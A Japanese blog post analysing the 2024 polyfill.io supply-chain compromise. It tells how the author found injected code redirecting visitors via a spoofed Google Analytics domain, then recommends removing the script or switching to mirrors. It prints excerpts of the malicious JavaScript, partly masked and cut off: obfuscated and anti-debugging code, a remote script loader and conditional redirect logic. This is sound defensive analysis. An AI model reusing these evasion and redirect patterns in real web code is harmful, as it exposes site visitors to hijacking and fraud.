polyfill.ioを使うのは危険かもしれない(危険だった)

## TL;DR

2024/06/26
実害が出ているようです、polyfill.ioを利用している場合は直ちに利用を止めましょう。
> - [GIGAZINE: JavaScriptライブラリ「Polyfill.io」にマルウェアが混入され10万以上のサイトに影響](https://gigazine.net/news/20240626-polyfill-supply-chain-attack/)
> - [Codebook: Polyfill.io使ったサプライチェーン攻撃でサイト10万件以上に影響](https://codebook.machinarecord.com/threatreport/33699/)

polyfill.ioから配信されるスクリプトが汚染される環境下にあり、危険な可能性があります。利用している方がいらっしゃいましたら外しておくことをおすすめします。または安全なバージョンのものがCloudflareとFastlyから利用できるので、ドメインをpolyfill-fastly.netやpolyfill-fastly.ioに変更して利用しましょう。

## 背景

自社で使用しているマーケティングプラットフォームサービスで作成したWebページをGoogle広告を使って配信していたところ、3日ほど前から管理画面上で「不正使用されているサイト」というエラーが表示されるようになりました。エラーの詳細を確認すると、Google Analyticsの名称になりすましたドメイン`googie-anaiytics[.]com`が不正使用の対象ドメインとしてレポートされていました。

## 問題の調査

この問題について調査したところ、ここ一週間で同じようにGoogle広告でサイトが安全でないドメインの影響を受けているという報告がいくつか見られました。

> - [Google Ads says my site is affected by an unsafe domain
](https://forum.squarespace.com/topic/306234-google-ads-says-my-site-is-affected-by-an-unsafe-domain/)
> - [關鍵字廣告被拒登，原因:遭入侵的網站](https://support.google.com/google-ads/thread/280966244/%E9%97%9C%E9%8D%B5%E5%AD%97%E5%BB%A3%E5%91%8A%E8%A2%AB%E6%8B%92%E7%99%BB%EF%BC%8C%E5%8E%9F%E5%9B%A0-%E9%81%AD%E5%85%A5%E4%BE%B5%E7%9A%84%E7%B6%B2%E7%AB%99?hl=zh-Hant)

調査を進めると、いずれのページもpolyfill.ioから配信されるスクリプトを使用していることが共通していることが分かりました。使用しているサービスから生成されるHTMLにもpolyfill.ioのスクリプトが利用されていました。このスクリプトのレスポンスにevalコードが含まれていることがあり、`googie-anaiytics[.]com`からホストされる別のJavaScriptが実行され、不正なものと思われる支払いページにリダイレクトします。

## polyfill.ioの背景

polyfill.ioは中国のCDN会社に売却され、Fastlyからサービスを移行し、ドメインがpolyfill.io.bsclink.cnにCNAMEされたようです。この変更以降、ホストされるファイルに様々な問題が発生していました。元polyfill.ioのクリエイターもこの変更について懸念を表明していました。問題発生時点ではCNAMEはpolyfill.io.cdn.cloudflare.netでした。

> - [Polyfill.ioが中国企業に売却　背景と対応策は？](https://roboin.io/article/2024/02/26/polyfill-io-sells-to-chinese-company-what-you-need-to-know/)
> - [Polyfill.io has been sold to a weird Chinese company and should no longer be recommended #4363
](https://github.com/formatjs/formatjs/issues/4363)
> - [If your website uses http://polyfill.io, remove it IMMEDIATELY.](https://x.com/triblondon/status/1761852117579427975)

## 不正スクリプトの内容

調査する中で悪意があると思われるスクリプトが見つかりました。以下はその一部ですが、このスクリプトは難読化されており、変数名がランダムな文字列に置き換えられていたり、数値リテラルが16進数になっていたり、文字列リテラルが特定のアルゴリズムを持って並び替えが必要な形でスクランブリングされていました。
このスクリプトが実行されると、ページの内容や時間など特定の条件下において不正と思われるページにリダイレクトされます。

```js
var _0x3e980b = document[
  _0x5d6b2e(a0_0x4501b4._0x6fe0ae, 'QQye', a0_0x4501b4._0x2632a1, 0x2b3, 0x2cc) +
    _0x27029b(a0_0x4501b4._0x4b9f0b, 0x1c8, a0_0x4501b4._0x5224b8, a0_0x4501b4._0x48d4e7, 'JF%)') +
    _0x27029b(0x30e, 0x257, 0x5a8, a0_0x4501b4._0x1a3162, a0_0x4501b4._0x549a9f)
](_0x50240c[_0x3cfbda(0x62e, a0_0x4501b4._0x220861, 0x4e1, a0_0x4501b4._0x181ec3, a0_0x4501b4._0x5ad00f)]),
_0x439320 = _0x3233bb || function () {};
_0x3e980b[_0xae9e0d(a0_0x4501b4._0x40eede, 0xd0d, a0_0x4501b4._0x49fdff, 'YX33', 0xa0c)] =
_0x50240c[_0xae9e0d(a0_0x4501b4._0x4bc087, a0_0x4501b4._0x448a25, 0x7dc, 'DOPo', a0_0x4501b4._0x21a1c0)];
function _0x27029b(_0x9a9ff8, _0x379425, _0x74674e, _0x3017f5, _0x32cde6) {
return a0_0xe981(_0x9a9ff8 - -a0_0xda5772._0x8f899a, _0x32cde6);
}
```

全体のコードをDeobfuscateして読めるようにすると以下のような動作をしていることが分かりました。

### 1. デバッグを困難にさせる自己呼び出し関数やデコイ関数の多用
```js
var a0_0x4347fa = (function () {
    var _0xdcb596 = true;
    return function (_0xc0d586, _0x182a07) {
      var _0x59d28c = _0xdcb596
        ? function () {
            if (_0x182a07) {
              var _0x146176 = _0x182a07.apply(_0xc0d586, arguments);
              return (_0x182a07 = null), _0x146176;
            }
          }
        : function () {};
      return (_0xdcb596 = false), _0x59d28c;
    };
  })(),
  a0_0x2db0bc = a0_0x4347fa(this, function () {
    return a0_0x2db0bc.toString().search('(((.+)+)+)+$').toString().constructor(a0_0x2db0bc).search('(((.+)+)+)+$');
  });
a0_0x2db0bc();
```

### 2. 外部JavaScriptの動的読み込み

```js
function loadJS(url, callback) {
  var script = document.createElement('script'),
    onLoadCallback = callback || function () {};
  script.type = 'text/javascript';
  script.onload = function () {
    onLoadCallback();
  };
  script.src = url;
  document.getElementsByTagName('head')[0].appendChild(script);
}
```

### 3. ユーザーがPCを使用しているかの判定

```js
function isPc() {
  try {
    var isWindows = navigator.platform == 'Win32' || navigator.platform == 'Windows',
      isMac = navigator.platform == 'Mac68K' || navigator.platform == 'MacPPC' || navigator.platform == 'Macintosh' || navigator.platform == 'MacIntel';
    return isWindows || isMac;
  } catch (e) {
    return false;
  }
}
```

### 4. ページ内に特定のキーワードが含まれているかのチェック

```js
function checkKeywords(keywords) {
  const bodyHTML = document.body.outerHTML;
  let found = false;
  for (const keyword of keywords) {
    if (bodyHTML.indexOf(keyword) !== -1) {
      found = true;
      break;
    }
  }
  return found;
}
```

### 5. 収集した情報を使って特定の条件に基づいてリダイレクト

```js
function check_tiaozhuan() {
  var isMobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
  if (isMobile) {
    var host = window.location.host,
      referrer = document.referrer;
    const keywords1 = [/* キーワードリスト1 */],
      keywords2 = [/* キーワードリスト2 */],
      keywords3 = [/* キーワードリスト3 */],
      keywords4 = [/* キーワードリスト4 */];
    var found1 = checkKeywords(keywords1),
      found2 = checkKeywords(keywords2),
      found3 = checkKeywords(keywords3),
      found4 = checkKeywords(keywords4);
    var redirectUrl = '',
      url1 = 'リダイレクト先URL1',
      url2 = 'リダイレクト先URL2',
      url3 = 'リダイレクト先URL3',
      url4 = 'リダイレクト先URL4',
      randomNum = Math.floor(Math.random() * 100 + 1),
      currentHour = new Date().getHours();
    if (host.indexOf('ドメイン') !== -1 || host.indexOf('ドメイン2') !== -1) {
      redirectUrl = url2;
    } else if (host.indexOf('ドメイン3') !== -1) {
      redirectUrl = url2;
    } else if (referrer.indexOf('.') !== -1 && referrer.indexOf(host) == -1) {
      if (found1) {
        redirectUrl = url2;
      } else if (found2) {
        redirectUrl = url1;
      } else if (found3) {
        redirectUrl = url3;
      } else if (found4) {
        redirectUrl = url4;
      }
    } else if (currentHour >= 0 && currentHour < 2 && randomNum <= 10) {
```

内容は一部マスクしています。

## 対策

この問題の対策は、汚染されていると思われるホストから配信されるJavaScriptを使用しないことです。もしくは、現在は安全なバージョンのものがCloudflareとFastlyから利用できるので、ドメインを`polyfill-fastly.net`や`polyfill-fastly.io`に変更して利用しましょう。CloudflareからホストされているJavaScriptの内容をみると、もはやpolyfillは不要であるコメントが書いてあるのでもはや外してしまっても良いと思います。

> - [polyfill.io now available on cdnjs: reduce your supply chain risk
](https://blog.cloudflare.com/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk)
> - [New options for Polyfill.io users](https://community.fastly.com/t/new-options-for-polyfill-io-users/2540)